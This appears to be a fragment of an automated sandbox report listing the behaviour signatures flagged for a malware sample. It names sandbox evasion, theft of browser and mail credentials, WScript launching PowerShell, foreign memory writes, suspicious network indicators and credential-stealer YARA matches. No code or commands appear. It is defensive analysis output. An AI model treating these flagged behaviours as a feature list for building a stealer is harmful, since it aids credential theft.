Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)

HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware

Very long command line found
Yara detected Credential Stealer
Yara signature match
